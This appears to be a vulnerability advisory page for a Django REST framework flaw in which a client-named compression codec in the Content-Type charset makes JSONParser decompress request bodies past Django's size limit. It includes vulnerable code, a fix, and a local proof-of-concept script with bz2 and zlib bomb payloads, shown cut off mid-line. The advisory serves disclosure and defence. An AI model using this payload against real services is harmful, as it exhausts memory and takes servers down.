high

CVE-2026-114136

PyPI · djangorestframework

Summary

Django REST framework: JSONParser applies an attacker-named codec to the request stream

Severity
high
CVSS
7.5
EPSS
0.4% (p38)
CWE
CWE-409, CWE-770
Also known as
GHSA-3547-9m27-7rxg
Published
2026-10-22
Updated
2026-10-22

Advisory details

Summary

An unauthenticated attacker can defeat Django's DATA_UPLOAD_MAX_MEMORY_SIZE limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON body.

Details

JSONParser.parse decodes the request body with the charset the client supplied on the Content-Type header:

# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
    decoded_stream = codecs.getreader(encoding)(stream)
    parse_constant = json.strict_constant if self.strict else None
    return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
    raise ParseError('JSON parse error - %s' % str(exc))

Of the roughly 455 codec names codecs.lookup resolves on CPython 3.14, about 18 are byte transforms instead of character sets: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec and similar. codecs.getreader is the only entry point in the codecs module that does not consult CodecInfo._is_text_encoding, so it accepts all of them. Sending Content-Type: application/json; charset=bz2_codec wraps the request stream in a bz2 decompressor before json.load reads it.

The ordering is what makes this exploitable. Django charges DATA_UPLOAD_MAX_MEMORY_SIZE against the bytes that arrived on the wire: rest_framework/request.py hands JSONParser an io.BytesIO(self.body), and HttpRequest.body is where _check_data_too_big() runs. Decompression happens afterwards, inside the parser, where nothing is counting.

This is DRF's defect and not Django's. Django resolves the charset parameter and assigns request.encoding, and codecs.lookup does resolve byte transforms, but every Django consumer of request.encoding goes through the text-codec API and fails closed. Both bytes.decode('bz2_codec') and str(raw, 'bz2_codec') raise LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs. DRF is the only caller that hands the request stream to codecs.getreader.

FormParser (parsers.py:84) and MultiPartParser (parsers.py:104-118) take the same client-named encoding but fail closed instead of amplifying.

The sink was introduced by 9a228116 (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because read() decodes the whole stream, which is the same property that makes this expansion unbounded. No _is_text_encoding check has been added since.

A one-line fix at parsers.py:61-64:

if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')

PoC

Save as poc_charset_amplification.py and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict.

#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)
  C2  the byte-identical T body, charset=utf-8
  C3  zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
    python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
    "T": ("bz2.bin", "application/json; charset=bz2_codec"),
    "C1": ("plain.bin", "application/json"),
    "C2": ("bz2.bin", "application/json; charset=utf-8"),
    "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
    "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
    "C1": "rejected with RequestDataTooBig, view body never runs",
    "C2": "HTTP 400 ParseError on the byte-identical compressed body",
    "C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []


def build_payloads():
    import bz2
    import zlib

    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
    blobs = {
        "plain.bin": plain,
        "bz2.bin": bz2.compress(plain, 9),
        "zlib.bin": zlib.compress(plain, 9),
    }
    for name, blob in blobs.items():
        with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
            fh.write(blob)
    return {name: len(blob) for name, blob in blobs.items()}


def configure_django():
    from django.conf import settings

    settings.configure(
        DEBUG=False,
        ALLOWED_HOSTS=["testserver"],
        SECRET_KEY="poc",
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "rest_framework",
        ],
        DATABASES={
            "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
        },
        DEFAULT_CHARSET="utf-8",
        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
        LOGGING_CONFIG=None,
        USE_TZ=True,
    )
    import django

    django.setup()


def build_view():
    from rest_framework.response import Response
    from rest_framework.views import APIView

    class Echo(APIView):
        authentication_classes = []
        permission_classes = []

        def post(self, request):
            data = request.data
            VIEW_RAN.append(True)
            value = data.get("a") if isinstance(data, dict) else None
            return Response(
                {"parsed_value_len": len(value) if isinstance(value, str) else None}
            )

    return Echo


def __getattr__(name):
    # ROOT_URLCONF points at this module; build urlpatterns lazily.
    if name == "urlpatterns":
        from django.urls import path

        value = [path("x", build_view().as_view())]
        globals()["urlpatterns"] = value
        return value
    raise AttributeError(name)


def peak_rss_kib():
    """Peak resident size of this process. /proc is used where available because
    ru_maxrss does not track the calling process on every kernel."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmHWM:"):
                    return int(line.split(":")[1].strip().split()[0])
    except OSError:
        pass
    import resource

    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss


def run_arm(arm):
    payload_name, content_type = ARMS[arm]
    with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
        body = fh.read()

    configure_django()
    from django.test import Client, RequestFactory

    client = Client(raise_request_exception=False)
    # Warm every lazily imported module so the delta measures the request only.
    client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
    VIEW_RAN.clear()

    before = peak_rss_kib()
    response = client.generic("POST", "/x", d

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.